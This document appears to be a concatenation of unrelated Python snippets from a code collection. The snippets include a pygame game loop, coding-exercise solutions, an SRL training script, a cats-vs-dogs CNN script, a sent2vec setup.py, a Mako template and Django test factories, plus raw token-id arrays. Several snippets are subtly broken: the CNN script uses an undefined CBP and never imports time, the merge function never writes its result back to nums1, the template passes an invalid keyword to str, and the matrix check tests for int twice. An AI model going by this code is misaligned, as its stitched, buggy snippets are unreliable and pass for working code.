gun.shoot2(enemies[i].x + 12.5, enemies[i].y + 12.5, angle2) enemies[i].draw() for j in range(len(gun.bullets)): for i in range(len(gun.bullets)): try: if ( gun.bullets[j].x > enemies[i].x and gun.bullets[j].x < enemies[i].x + 25 and gun.bullets[j].y > enemies[i].y and gun.bullets[j].y < enemies[i].y + 25 ): del enemies[i] except IndexError: pass for j in range(len(gun.bullets2)): for i in range(len(gun.bullets2)): try: if ( gun.bullets2[j].x > player.x and gun.bullets2[j].x < player.x + 25 and gun.bullets2[j].y > player.y and gun.bullets2[j].y < player.y + 25 ): for i in range(len(hit) - 1): if not (hit[i].x > player.x or hit[i].x < player.x + 25 or hit[i].y > player.y or hit[i].y < player.y): del hit[i] if hit.count(gun.bullets2[j]) == 0: hit.append(gun.bullets2[j]) player.lives = 5 - len(hit) except IndexError: pass if key[pygame.K_a]: player.x -= 3 if key[pygame.K_d]: player.x += 3 if key[pygame.K_w]: player.y -= 3 if key[pygame.K_s]: player.y += 3 if frames % 150 == 0: cmd.spawn() if player.lives < 1: pygame.quit() break player.image = pygame.image.load("player.jpg").convert() player.image = player.image.copy() player.image = pygame.transform.rotate(player.image, player.rotate(Mpos[0], Mpos[1])) angle = player.rotate(Mpos[0], Mpos[1]) player.draw() pygame.display.update() time.sleep(0.005) quit()
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37, 39, 4, 11, 12, 17, 19, 26, 27, 36, 37, 43, 44, 50, 51, 56, 57, 64, 65, 71, 72, 73, 76, 77, 78, 80, 82, 85, 86, 87, 90, 4, 10, 12, 19, 20, 26, 27, 28, 31, 32, 33, 35, 37, 40, 41, 42, 44, 4, 11, 12, 16, 18, 4, 11, 12, 19, 20, 26, 28, 4, 9, 10, 15, 16, 17, 18, 19, 20, 21, 22, 1, 5, 7 ]
2cbce618d1ec617d1c7dc0e9792b6a49361ec5a4
def mais_populoso(dic): p = 0 sp = 0 for t, i in dic.items(): for m in dic[t].values(): p += m if p > sp: sp = p x = t return x
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2092ead8b8f268a22711b8af8052241c1ac00c15
wage = 5 print("%d시간에 %d%s 벌었습니다." % (1, wage * 1, "달러")) print("%d시간에 %d%s 벌었습니다." % (5, wage * 5, "달러")) print("%d시간에 %.1f%s 벌었습니다" % (1, 5710.8, "원")) print("%d시간에 %.1f%s 벌었습니다" % (5, 28554.0, "원"))
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805fc9a26650f85227d14da972311ffbd9dbd555
class Date: def __init__(self, strDate): strDate = strDate.split(".") self.day = strDate[0] self.month = strDate[1] self.year = strDate[2]
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038ccba05113fb7f2f589eaa7345df53cb59a5af
#!/usr/bin/env python # -*- coding: utf-8 -*- import sys import torch from torch import nn, autograd import config import time import copy import progressbar as pb from dataset import TrainDataSet from model import BiAffineSrlModel from fscore import FScore config.add_option("-m", "--mode", dest="mode", default="train", type="string", help="[train|eval|pred]", action="store") config.add_option("--seed", dest="seed", default=1, type="int", help="torch random seed", action="store") def train(num_epochs=30): lossfunction = nn.CrossEntropyLoss() trainset = TrainDataSet() model = BiAffineSrlModel(vocabs=trainset.vocabs) optimizer = torch.optim.Adam(model.parameters(), lr=0.01) since = time.time() best_model_wts = copy.deepcopy(model.state_dict()) best_f = FScore() for epoch in range(num_epochs): print("Epoch {}/{}".format(epoch, num_epochs - 1), file=sys.stderr) print("-" * 10, file=sys.stderr) for phase in ["train", "dev"]: model.train(phase == "train") running_loss = 0.0 running_f = FScore() for sentence in pb.progressbar(trainset.get_set(phase)): model.zero_grad() role_p = model(*sentence["inputs"]) _, predict = torch.max(role_p, 1) loss = lossfunction(role_p, autograd.Variable(sentence["targets"][0])) if phase == "train": loss.backward() optimizer.step() if epoch > 28: print(predict.data) print(sentence["targets"][0]) running_loss += loss.data[0] running_f.update(predict, sentence["targets"][0]) print("\n{} Loss: {:.4f} {}".format(phase, running_loss, running_f), file=sys.stderr) if phase == "dev" and running_f > best_f: best_f = running_f best_model_wts = copy.deepcopy(model.state_dict()) print("", file=sys.stderr) time_elapsed = time.time() - since print("Training complete in {:.0f}m {:.0f}s".format(time_elapsed // 60, time_elapsed % 60), file=sys.stderr) print("Best val F: {}s".format(best_f), file=sys.stderr) model.load_state_dict(best_model_wts) return model if __name__ == "__main__": config.parse_args() torch.manual_seed(config.get_option("seed")) mode = config.get_option("mode") if mode == "train": train() else: NotImplementedError()
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b5180a2dbe1f12e1bbc92874c67ea99c9a84a9ed
# print all cards with even numbers. cards = ["2", "3", "4", "5", "6", "7", "8", "9", "10", "J", "Q", "K", "A"] for card in cards: try: number = int(card) if number % 2 == 0: # modulo operator print(card, "is an even card.") except ValueError: print(card, "can not be divided")
[ 40, 1489, 1187, 16278, 642, 4462, 7560, 51, 222, 222, 12266, 299, 3059, 55, 411, 332, 56, 411, 332, 57, 411, 332, 58, 411, 332, 59, 411, 332, 60, 411, 332, 61, 411, 332, 62, 411, 332, 54, 53, 411, 332, 79, 411, 332, 86, 411, 332, 80, 411, 332, 70, 1465, 222, 222, 999, 3649, 347, 16278, 63, 303, 1614, 63, 310, 1470, 299, 648, 45, 2310, 46, 310, 434, 1470, 925, 244, 55, 630, 244, 53, 63, 244, 607, 41623, 4156, 343, 1489, 45, 2310, 49, 332, 316, 619, 4462, 3649, 7164, 303, 2959, 10128, 63, 310, 1489, 45, 2310, 49, 332, 3389, 666, 545, 32459, 678, 222 ]
[ "#", "Ġprint", "Ġall", "Ġcards", "Ġwith", "Ġeven", "Ġnumbers", ".", "Ċ", "Ċ", "cards", "Ġ=", "Ġ[\"", "2", "\",", "Ġ\"", "3", "\",", "Ġ\"", "4", "\",", "Ġ\"", "5", "\",", "Ġ\"", "6", "\",", "Ġ\"", "7", "\",", "Ġ\"", "8", "\",", "Ġ\"", "9", "\",", "Ġ\"", "1", "0", "\",", "Ġ\"", "J", "\",", "Ġ\"", "Q", "\",", "Ġ\"", "K", "\",", "Ġ\"", "A", "\"]", "Ċ", "Ċ", "for", "Ġcard", "Ġin", "Ġcards", ":", "ĊĠĠĠ", "Ġtry", ":", "ĊĠĠĠĠĠĠĠ", "Ġnumber", "Ġ=", "Ġint", "(", "card", ")", "ĊĠĠĠĠĠĠĠ", "Ġif", "Ġnumber", "Ġ%", "Ġ", "2", "Ġ==", "Ġ", "0", ":", "Ġ", "Ġ#", "Ġmodulo", "Ġoperator", "ĊĠĠĠĠĠĠĠĠĠĠĠ", "Ġprint", "(", "card", ",", "Ġ\"", "is", "Ġan", "Ġeven", "Ġcard", ".\")", "ĊĠĠĠ", "Ġexcept", "ĠValueError", ":", "ĊĠĠĠĠĠĠĠ", "Ġprint", "(", "card", ",", "Ġ\"", "can", "Ġnot", "Ġbe", "Ġdivided", "\")", "Ċ" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 5, 5, 5, 5, 5, 5, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11 ]
[ 1, 2, 8, 12, 18, 23, 28, 36, 37, 1, 1, 6, 8, 11, 12, 14, 16, 17, 19, 21, 22, 24, 26, 27, 29, 31, 32, 34, 36, 37, 39, 41, 42, 44, 46, 47, 49, 51, 52, 53, 55, 57, 58, 60, 62, 63, 65, 67, 68, 70, 72, 73, 75, 1, 1, 4, 9, 12, 18, 19, 4, 8, 9, 8, 15, 17, 21, 22, 26, 27, 8, 11, 18, 20, 21, 22, 25, 26, 27, 28, 29, 31, 38, 47, 12, 18, 19, 23, 24, 26, 28, 31, 36, 41, 44, 4, 11, 22, 23, 8, 14, 15, 19, 20, 22, 25, 29, 32, 40, 42 ]
13c9f0f58ec6da317c3802f594bb0db7c275dee9
""" !pip install wget from zipfile import ZipFile import wget print('Beginning file downlaod with wget module') url = 'https://download.microsoft.com/download/3/E/1/3E1C3F21-ECDB-4869-8368-6DEBA77B919F/kagglecatsanddogs_3367a.zip' wget.download(url, 'sample_data/') print('2. Extract all files in ZIP to different directory') # Create a ZipFile Object and load sample.zip in it with ZipFile('sample_data/kagglecatsanddogs_3367a.zip', 'r') as zipObj: # Extract all the contents of zip file in different directory zipObj.extractall('content/') """ import numpy as np import matplotlib.pyplot as plt import os import cv2 import pickle import random import datetime import tensorflow as tf from tensorflow.python.keras.datasets import cifar10 from tensorflow.python.keras.preprocessing.image import ImageDataGenerator from tensorflow.python.keras.models import Sequential from tensorflow.python.keras.layers import Activation, Dense, Flatten, Dropout from tensorflow.python.keras.layers import Conv2D, MaxPooling2D from tensorflow.python.keras.optimizers import Adam from tensorflow.python.keras.callbacks import TensorBoard DATADIR = "content/PetImages" CATEGORIES = ["Cat", "Dog"] #'''categories that we have to deal with''' img_array = [] for category in CATEGORIES: path = os.path.join(DATADIR, category) # path to cats and dogs dir for img in os.listdir(path): img_array = cv2.imread(os.path.join(path, img), cv2.IMREAD_COLOR) plt.imshow(img_array, cmap="gray") plt.show() print(img_array) print(img_array.shape) break break IMG_SIZE = 299 # every image of 299x299 resized_img_array = cv2.resize(img_array, (IMG_SIZE, IMG_SIZE)) plt.imshow(resized_img_array, cmap="gray") # cmap = hot, plasma, cool, plt.show() training_data = [] def create_training_data(): # creating training datasets for category in CATEGORIES: path = os.path.join(DATADIR, category) # path to cats and dogs dir classIndex = CATEGORIES.index(category) # 0 for dog and 1 for cat for img in os.listdir(path): try: img_array = cv2.imread(os.path.join(path, img), cv2.IMREAD_COLOR) resized_img_array = cv2.resize(img_array, (IMG_SIZE, IMG_SIZE)) training_data.append([resized_img_array, classIndex]) except Exception as e: pass create_training_data() print(len(training_data)) """shuffle training data""" random.shuffle(training_data) # for sample in training_data[:10]: # print(sample[1]) x = [] y = [] for features, label in training_data: x.append(features) y.append(label) x = np.array(x).reshape(-1, IMG_SIZE, IMG_SIZE, 3) # we can't pass a list to keras for training #'''we have to pass here a numpy array ''' # print(x[0].reshape(-1, IMG_SIZE, IMG_SIZE, 1)) pickle_out = open("x.pickle", "wb") pickle.dump(x, pickle_out) pickle_out.close() pickle_out = open("y.pickle", "wb") pickle.dump(y, pickle_out) pickle_out.close() pickle_in = open("x.pickle", "rb") x = pickle.load(pickle_in) pickle_in = open("y.pickle", "rb") y = pickle.load(pickle_in) x = x / 255.0 INPUT_SHAPE = x.shape[1:] # (224, 224, 3) DROPOUT = 0.2 NB_CLASSES = 10 NB_EPOCHS = 10 BATCH_SIZE = 128 VALIDATION_SPLIT = 0.2 OPTIMIZER = Adam() max, min, accIndex, lossIndex = 70.0, 4.0, 1, 1 date = datetime.datetime.now() dense_layers = [2, 1, 0] # 0, 1,2 layer_sizes = [512, 256, 128, 64] # 32, 64, 128, 256, 512 conv_layers = [3, 2, 1] # 1, 2,3 for dense_layer in dense_layers: for layer_size in layer_sizes: for conv_layer in conv_layers: NAME = "{}-conv-{}-nodes-{}-dense-{}".format(conv_layer, layer_size, dense_layer, int(time.time())) print(NAME) model = Sequential() model.add(Conv2D(layer_size, (3, 3), input_shape=INPUT_SHAPE)) model.add(Activation("relu")) model.add(MaxPooling2D(pool_size=(2, 2))) for l in range(conv_layer - 1): model.add(Conv2D(layer_size, (5, 5))) model.add(Activation("relu")) model.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2))) model.add(Dropout(DROPOUT)) model.add(Flatten()) for _ in range(dense_layer): model.add(Dense(layer_size)) model.add(Activation("relu")) model.add(Dropout(DROPOUT)) model.add(Dense(NB_CLASSES)) model.add(Activation("softmax")) tensorboard = TensorBoard(log_dir="logs/{}".format(NAME)) model.compile( loss="categorical_crossentropy", optimizer=OPTIMIZER, metrics=["accuracy"], ) history = model.fit( x, y, batch_size=BATCH_SIZE, epochs=NB_EPOCHS, validation_split=VALIDATION_SPLIT, verbose=1, callbacks=[tensorboard], ) if history.history.get("val_acc")[-1] > max: max = history.history.get("val_acc")[-1] if accIndex >= 2: os.remove( "{}_{}_{}_{}_{}_{}".format( accIndex - 1, round(max, 4), CBP[0], CBP[1], CBP[2], f":{date:%Y-%m-%d-%Hh%Mm%Ss}" ) ) val_acc_out = open( "{}_{}_{}_{}_{}_{}".format(accIndex, round(max, 4), CBP[0], CBP[1], CBP[2], f":{date:%Y-%m-%d-%Hh%Mm%Ss}"), "wb", ) pickle.dump( model.save( "{}_{}_{}_{}_{}_{}".format( accIndex, round(max, 4), CBP[0], CBP[1], CBP[2], f":{date:%Y-%m-%d-%Hh%Mm%Ss}" ) ), val_acc_out, ) val_acc_out.close() accIndex += 1 pickle_upload = open("{}_pickle".format(accIndex - 1), "rb") p_upload = pickle.load(pickle_upload) print(p_upload) if history.history.get("val_loss")[-1] < min: min = history.history.get("val_loss")[-1] if lossIndex >= 2: os.remove( "{}_{}_{}_{}_{}_{}".format( lossIndex - 1, round(min, 4), CBP[0], CBP[1], CBP[2], f":{date:%Y-%m-%d-%Hh%Mm%Ss}" ) ) val_loss_out = open( "{}_{}_{}_{}_{}_{}".format(lossIndex, round(min, 4), CBP[0], CBP[1], CBP[2], f":{date:%Y-%m-%d-%Hh%Mm%Ss}") ) pickle.dump( model.save( "{}_{}_{}_{}_{}_{}".format( lossIndex, round(min, 4), CBP[0], CBP[1], CBP[2], f":{date:%Y-%m-%d-%Hh%Mm%Ss}" ) ), val_loss_out, ) val_loss_out.close() lossIndex += 1 model.save("64x3-CNN.model") CATEGORIES = ["Dog", "Cat"] # will use this to convert prediction num to string value def prepare(filepath): IMG_SIZE = 299 # 50 in txt-based img_array = cv2.imread(filepath, cv2.IMREAD_COLOR) # read in the image, convert to grayscale resized_img_array = cv2.resize(img_array, (IMG_SIZE, IMG_SIZE)) # resize image to match model's expected sizing return resized_img_array.reshape(-1, IMG_SIZE, IMG_SIZE, 3) # return the image with shaping that TF wants. model = tf.keras.models.load_model("64x3-CNN.model") prediction = model.predict([prepare("dog.jpg")]) # REMEMBER YOU'RE PASSING A LIST OF THINGS YOU WISH TO PREDICT print(prediction) print(prediction[0][0]) print(CATEGORIES[int(prediction[0][0])]) # We can also test our cat example: prediction = model.predict([prepare("cat.jpg")]) print(prediction) # will be a list in a list. print(CATEGORIES[int(prediction[0][0])]) """ alpha. Also referred to as the learning rate or step size. The proportion that weights are updated (e.g. 0.001). Larger values (e.g. 0.3) results in faster initial learning before the rate is updated. Smaller values (e.g. 1.0E-5) slow learning right down during training beta1. The exponential decay rate for the first moment estimates (e.g. 0.9). beta2. The exponential decay rate for the second-moment estimates (e.g. 0.999). This value should be set close to 1.0 on problems with a sparse gradient (e.g. NLP and computer vision problems). epsilon. Is a very small number to prevent any division by zero in the implementation (e.g. 10E-8). We can see that the popular deep learning libraries generally use the default parameters recommended by the paper. TensorFlow: learning_rate=0.001, beta1=0.9, beta2=0.999, epsilon=1e-08. Keras: lr=0.001, beta_1=0.9, beta_2=0.999, epsilon=1e-08, decay=0.0. Blocks: learning_rate=0.002, beta1=0.9, beta2=0.999, epsilon=1e-08, decay_factor=1. Lasagne: learning_rate=0.001, beta1=0.9, beta2=0.999, epsilon=1e-08 Caffe: learning_rate=0.001, beta1=0.9, beta2=0.999, epsilon=1e-08 MxNet: learning_rate=0.001, beta1=0.9, beta2=0.999, epsilon=1e-8 Torch: learning_rate=0.001, beta1=0.9, beta2=0.999, epsilon=1e-8 """
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95c5971a102fb2ed84ab0de0471278d0167d8359
#!/usr/bin/python3 """1. Divide a matrix""" def matrix_divided(matrix, div): """Divides a Matrix Args: matrix: A list of lists of ints or floats div: a non zero int or float Exceptions: TypeError: if the matrix and/or div is not as stated or the matrix elements are not of the same size ZeroDivisionError: if div is zero Returns: a new matrix holding the results """ workmat = [] WrongType = False TooLong = False i = 0 if isinstance(matrix, list): if matrix == []: WrongType = True for x in range(len(matrix)): if isinstance(matrix[x], list): workmat.append([]) for y in range(len(matrix[x])): if matrix[x] == []: WrongType = True if isinstance(matrix[x][y], int) or isinstance(matrix[x][y], int): workmat[x].append(matrix[x][y]) else: WrongType = True if x == 0 and y == 0: i = len(matrix[x]) else: if not i == len(matrix[x]): TooLong = True else: WrongType = True else: WrongType = True if WrongType: raise TypeError("matrix must be a matrix (list of lists) of integers/floats") if TooLong: raise TypeError("Each row of the matrix must have the same size") if not isinstance(div, float) and not isinstance(div, int): raise TypeError("div must be a number") if div == 0: raise ZeroDivisionError("division by zero") for x in range(len(workmat)): for y in range(len(workmat[x])): workmat[x][y] = round((workmat[x][y] / div), 2) return workmat
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5fb998fa761b989c6dd423634824197bade4f8a5
""" You can perform the following operations on the string, : Capitalize zero or more of 's lowercase letters. Delete all of the remaining lowercase letters in . Given two strings, and , determine if it's possible to make equal to as described. If so, print YES on a new line. Otherwise, print NO. For example, given and , in we can convert and delete to match . If and , matching is not possible because letters may only be capitalized or discarded, not changed. Function Description Complete the function in the editor below. It must return either or . abbreviation has the following parameter(s): a: the string to modify b: the string to match Input Format The first line contains a single integer , the number of queries. Each of the next pairs of lines is as follows: - The first line of each query contains a single string, . - The second line of each query contains a single string, . Constraints String consists only of uppercase and lowercase English letters, ascii[A-Za-z]. String consists only of uppercase English letters, ascii[A-Z]. Output Format For each query, print YES on a new line if it's possible to make string equal to string . Otherwise, print NO. Sample Input 1 daBcd ABC Sample Output YES Explanation image We have daBcd and ABC. We perform the following operation: Capitalize the letters a and c in so that dABCd. Delete all the remaining lowercase letters in so that ABC. Because we were able to successfully convert to , we print YES on a new line. """ #!/bin/python3 import math import os import random import re import sys # Complete the abbreviation function below. def abbreviation(a, b): m, n = len(a), len(b) dp = [[False] * (m + 1) for _ in range(n + 1)] dp[0][0] = True for i in range(n + 1): for j in range(1, m + 1): if a[j - 1] == b[i - 1]: dp[i][j] = dp[i - 1][j - 1] elif a[j - 1].upper() == b[i - 1]: dp[i][j] = dp[i - 1][j - 1] or dp[i][j - 1] elif a[j - 1].islower(): dp[i][j] = dp[i][j - 1] return "YES" if dp[n][m] else "NO" if __name__ == "__main__": fptr = open(os.environ["OUTPUT_PATH"], "w") q = int(input()) for q_itr in range(q): a = input() b = input() result = abbreviation(a, b) fptr.write(result + "\n") fptr.close()
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5ed439a2a7cfb9c941c40ea0c5eba2851a0f2855
#!/bin/python3 # Implement a stack with push, pop, inc(e, k) operations # inc (e,k) - Add k to each of bottom e elements import sys class Stack(object): def __init__(self): self.arr = [] def push(self, val): self.arr.append(val) def pop(self): if len(self.arr): return self.arr.pop() def inc(self, e, k): count = min(len(self.arr), e) for i in range(count): self.arr[i] += k def peek(self): if len(self.arr): return self.arr[-1] else: return "EMPTY" def superStack(operations): s = Stack() for o in operations: op = o.split(" ") if op[0] == "push": s.push(int(op[1])) print(s.peek()) elif op[0] == "pop": s.pop() print(s.peek()) elif op[0] == "inc": s.inc(int(op[1]), int(op[2])) print(s.peek()) if __name__ == "__main__": operations_cnt = 0 operations_cnt = int(input()) operations_i = 0 operations = [] while operations_i < operations_cnt: try: operations_item = str(input()) except: operations_item = None operations.append(operations_item) operations_i += 1 res = superStack(operations)
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39f9341313e29a22ec5e05ce9371bf65e89c91bd
""" 리스트에 있는 숫자들의 최빈값을 구하는 프로그램을 만들어라. [12, 17, 19, 17, 23] = 17 [26, 37, 26, 37, 91] = 26, 37 [28, 30, 32, 34, 144] = 없다 최빈값 : 자료의 값 중에서 가장 많이 나타난 값 ① 자료의 값이 모두 같거나 모두 다르면 최빈값은 없다. ② 자료의 값이 모두 다를 때, 도수가 가장 큰 값이 1개 이상 있으면 그 값은 모두 최빈값이다. """ n_list = [[12, 17, 19, 17, 23], [26, 37, 26, 37, 91], [28, 30, 32, 34, 144], [10, 10, 10, 10, 10]] for numbers in n_list: n_dict = {} for n in numbers: if n in n_dict: n_dict[n] += 1 else: n_dict[n] = 1 mode = [] if len(n_dict) == 1 or len(n_dict) == len(numbers): print(numbers, "= 없다") else: mode_count = max(n_dict.values()) for e in n_dict.keys(): if n_dict[e] == mode_count: mode.append(e) print(numbers, "=", mode)
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312cc666c88fcd22882c49598db8c5e18bd3dae1
from setuptools import setup, find_packages from setuptools.extension import Extension from sys import platform cython = True try: from Cython.Build import cythonize cython = True except ImportError: cython = False # Define the C++ extension if platform == "darwin": extra_compile_args = ["-O3", "-pthread", "-funroll-loops", "-std=c++0x", "-stdlib=libc++", "-mmacosx-version-min=10.7"] else: extra_compile_args = ["-O3", "-pthread", "-funroll-loops", "-std=c++0x"] extensions = [] if cython: extensions = [ Extension( "sent2vec", sources=[ "sent2vec/sent2vec.pyx", "sent2vec/cpp/src/args.cc", "sent2vec/cpp/src/dictionary.cc", "sent2vec/cpp/src/fasttext.cc", "sent2vec/cpp/src/main.cc", "sent2vec/cpp/src/matrix.cc", "sent2vec/cpp/src/model.cc", "sent2vec/cpp/src/productquantizer.cc", "sent2vec/cpp/src/qmatrix.cc", "sent2vec/cpp/src/utils.cc", "sent2vec/cpp/src/vector.cc", ], language="c++", extra_compile_args=extra_compile_args, ) ] extensions = cythonize(extensions) else: extensions = [ Extension( "sent2vec", sources=[ "sent2vec/sent2vec.cpp", "sent2vec/cpp/src/args.cc", "sent2vec/cpp/src/dictionary.cc", "sent2vec/cpp/src/fasttext.cc", "sent2vec/cpp/src/main.cc", "sent2vec/cpp/src/matrix.cc", "sent2vec/cpp/src/model.cc", "sent2vec/cpp/src/productquantizer.cc", "sent2vec/cpp/src/qmatrix.cc", "sent2vec/cpp/src/utils.cc", "sent2vec/cpp/src/vector.cc", ], language="c++", extra_compile_args=extra_compile_args, ) ] # Package details setup( name="sent2vec", version="0.1.0", author="", author_email="", url="", description="A Python interface for sent2vec library", license="BSD 3-Clause License", packages=["sent2vec"], ext_modules=extensions, install_requires=[], classifiers=[], )
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2aec0581413d4fb0ffb4090231fde0fed974bf18
import numpy as np import random with open("./roc.txt", "r") as fin: with open("./roc_shuffle.txt", "w") as fout: tmp = [] for k, line in enumerate(fin): i = k + 1 if i % 6 == 0: idx = [0] + np.random.permutation(range(1, 5)).tolist() for sen in np.take(tmp, idx).tolist(): fout.write(sen + "\n") tmp = [] fout.write(line.strip() + "\n") else: tmp.append(line.strip()) with open("./roc.txt", "r") as fin: with open("./roc_repeat.txt", "w") as fout: tmp = [] for k, line in enumerate(fin): i = k + 1 if i % 6 == 0: idx = random.randint(1, 4) tmp[idx] = tmp[idx][:-1] + tmp[idx] for sen in tmp: fout.write(sen + "\n") tmp = [] fout.write(line.strip() + "\n") else: tmp.append(line.strip()) with open("./roc.txt", "r") as fin: with open("./roc_replace.txt", "w") as fout: post, tmp = [], [] for k, line in enumerate(fin): i = k + 1 if i % 6 == 0: post.append(tmp) tmp = [] else: tmp.append(line.strip().split()) data = {"1": [], "2": [], "3": [], "4": [], "5": []} for p in post: for i in range(5): data["%d" % (i + 1)].append(p[i]) random_data = data.copy() for i in range(5): random_data["%d" % (i + 1)] = np.random.permutation(random_data["%d" % (i + 1)]) for k in range(len(post)): idx = np.random.permutation(range(1, 5))[0] for i in range(5): if i == idx: fout.write(" ".join(random_data["%d" % (i + 1)][k]) + "\n") else: fout.write(" ".join(data["%d" % (i + 1)][k]) + "\n") fout.write("------\n")
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4f13e2858d9cf469f14026808142886e5c3fcc85
class Solution: def merge(self, nums1, m, nums2, n): """ Do not return anything, modify nums1 in-place instead. """ if n == 0: nums1 = nums1 if nums1[m - 1] <= nums2[0]: for i in range(n): nums1[m + i] = nums2[i] elif nums1[0] >= nums2[-1]: for i in range(m): nums1[i] = nums1[n + i] else: ans = [None] * len(nums1) i = 0 j = 0 k = 0 while i < m and j < n: if nums1[i] <= nums2[j]: print("take 1: ", nums1[i]) ans[k] = nums1[i] i += 1 else: print("take 2: ", nums2[j]) ans[k] = nums2[j] j += 1 k += 1 nums1 = ans if __name__ == "__main__": solve = Solution() nums1 = [1, 2, 3, 0, 0, 0] m = 3 nums2 = [2, 5, 6] n = 3 solve.merge(nums1, m, nums2, n) print(nums1)
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57967f36a45bb3ea62708bbbb5b2f4ddb0f4bb16
# -*- coding:ascii -*- from mako import runtime, filters, cache UNDEFINED = runtime.UNDEFINED __M_dict_builtin = dict __M_locals_builtin = locals _magic_number = 10 _modified_time = 1428612037.145222 _enable_loop = True _template_filename = "C:\\Users\\Cody\\Desktop\\Heritage\\chf\\templates/account.rentalcart.html" _template_uri = "/account.rentalcart.html" _source_encoding = "ascii" import os, os.path, re _exports = ["content"] from datetime import datetime, timedelta now = datetime.now() noww = now.strftime("%B %d, %Y") def _mako_get_namespace(context, name): try: return context.namespaces[(__name__, name)] except KeyError: _mako_generate_namespaces(context) return context.namespaces[(__name__, name)] def _mako_generate_namespaces(context): pass def _mako_inherit(template, context): _mako_generate_namespaces(context) return runtime._inherit_from(context, "base_ajax.htm", _template_uri) def render_body(context, **pageargs): __M_caller = context.caller_stack._push_frame() try: __M_locals = __M_dict_builtin(pageargs=pageargs) int = context.get("int", UNDEFINED) str = context.get("str", UNDEFINED) rentals = context.get("rentals", UNDEFINED) def content(): return render_content(context._locals(__M_locals)) request = context.get("request", UNDEFINED) STATIC_URL = context.get("STATIC_URL", UNDEFINED) __M_writer = context.writer() __M_writer("\r\n") __M_writer("\r\n") __M_writer(str(nowww=noww - timedelta(days=3))) __M_writer("\r\n") if "parent" not in context._data or not hasattr(context._data["parent"], "content"): context["self"].content(**pageargs) __M_writer("\r\n\r\n") return "" finally: context.caller_stack._pop_frame() def render_content(context, **pageargs): __M_caller = context.caller_stack._push_frame() try: int = context.get("int", UNDEFINED) str = context.get("str", UNDEFINED) rentals = context.get("rentals", UNDEFINED) def content(): return render_content(context) request = context.get("request", UNDEFINED) STATIC_URL = context.get("STATIC_URL", UNDEFINED) __M_writer = context.writer() __M_writer( '\r\n\r\n<table class="table-responsive table-striped">\r\n <th></th>\r\n <th>#</th>\r\n <th>Name</th>\r\n <th>Price per Day</th>\r\n <th># of Days Rented</th>\r\n' ) for item in rentals: __M_writer(' <tr>\r\n <td><button rel="') __M_writer(str(item.id)) __M_writer( '" class="btn btn-danger btn-sm deleter">Remove</button></td>\r\n <td class="img-col"><img class="shopping_cart_image" src="' ) __M_writer(str(STATIC_URL)) __M_writer(str(item.photo.image)) __M_writer('"/></td>\r\n <td class="name-col">') __M_writer(str(noww)) __M_writer('</td>\r\n <td class="price-col">') __M_writer(str(item.price_per_day)) __M_writer('</td>\r\n <td class="qty-col">') __M_writer(str(int(request.session["rental_cart"][str(item.id)]))) __M_writer("</td>\r\n </tr>\r\n") __M_writer( '</table>\r\n<table id="button-table" class="table-responsive">\r\n <tr>\r\n <td id="space"></td>\r\n' ) if request.user.is_authenticated(): __M_writer(' <td id=\'checkout\'><a href="/account.checkout" class="btn btn-warning">Checkout</a></td>\r\n') else: __M_writer(' <td id=\'checkout\'><a href="/mylogin.cartlogin" class="btn btn-warning">Checkout</a></td>\r\n') __M_writer(" </tr>\r\n</table>\r\n") return "" finally: context.caller_stack._pop_frame() """ __M_BEGIN_METADATA {"uri": "/account.rentalcart.html", "line_map": {"70": 8, "71": 16, "72": 17, "73": 18, "74": 18, "75": 19, "76": 19, "77": 19, "78": 20, "79": 20, "80": 21, "81": 21, "82": 22, "83": 22, "84": 25, "85": 29, "86": 30, "87": 31, "88": 32, "89": 34, "95": 89, "33": 0, "16": 2, "45": 1, "46": 6, "47": 7, "48": 7, "53": 36, "59": 8}, "filename": "C:\\Users\\Cody\\Desktop\\Heritage\\chf\\templates/account.rentalcart.html", "source_encoding": "ascii"} __M_END_METADATA """
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# coding: utf-8 import os import factory import datetime from journalmanager import models from django.contrib.auth.models import Group from django.core.files.base import File _HERE = os.path.dirname(os.path.abspath(__file__)) with open(os.path.join(_HERE, "xml_samples", "0034-8910-rsp-48-2-0216.xml")) as xml_file: SAMPLE_XML = xml_file.read() SAMPLE_TIFF_IMAGE = open(os.path.join(_HERE, "image_test", "sample_tif_image.tif")) with open(os.path.join(_HERE, "xml_samples", "0034-8910-rsp-48-2-0216_related.xml")) as xml_file: SAMPLE_XML_RELATED = xml_file.read() class UserFactory(factory.Factory): FACTORY_FOR = models.User @classmethod def _setup_next_sequence(cls): try: return cls._associated_class.objects.values_list("id", flat=True).order_by("-id")[0] + 1 except IndexError: return 0 username = factory.Sequence(lambda n: "jmanager_username%s" % n) first_name = factory.Sequence(lambda n: "jmanager_first_name%s" % n) last_name = factory.Sequence(lambda n: "jmanager_last_name%s" % n) email = factory.Sequence(lambda n: "jmanager_email%[email protected]" % n) password = "sha1$caffc$30d78063d8f2a5725f60bae2aca64e48804272c3" is_staff = False is_active = True is_superuser = False last_login = datetime.datetime(2000, 1, 1) date_joined = datetime.datetime(1999, 1, 1) class GroupFactory(factory.Factory): FACTORY_FOR = Group name = factory.Sequence(lambda n: "Group #%s" % n) class SubjectCategoryFactory(factory.Factory): FACTORY_FOR = models.SubjectCategory term = "Acoustics" class StudyAreaFactory(factory.Factory): FACTORY_FOR = models.StudyArea study_area = "Health Sciences" class SponsorFactory(factory.Factory): FACTORY_FOR = models.Sponsor name = "Fundação de Amparo a Pesquisa do Estado de São Paulo" address = "Av. Professor Lineu Prestes, 338 Cidade Universitária \ Caixa Postal 8105 05508-900 São Paulo SP Brazil Tel. / Fax: +55 11 3091-3047" email = "[email protected]" complement = "" class UseLicenseFactory(factory.Factory): FACTORY_FOR = models.UseLicense license_code = factory.Sequence(lambda n: "CC BY-NC-SA%s" % n) reference_url = "http://creativecommons.org/licenses/by-nc-sa/3.0/deed.pt" disclaimer = '<a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/3.0/"><img alt="Licença Creative Commons" style="border-width:0" src="http://i.creativecommons.org/l/by-nc-sa/3.0/88x31.png" 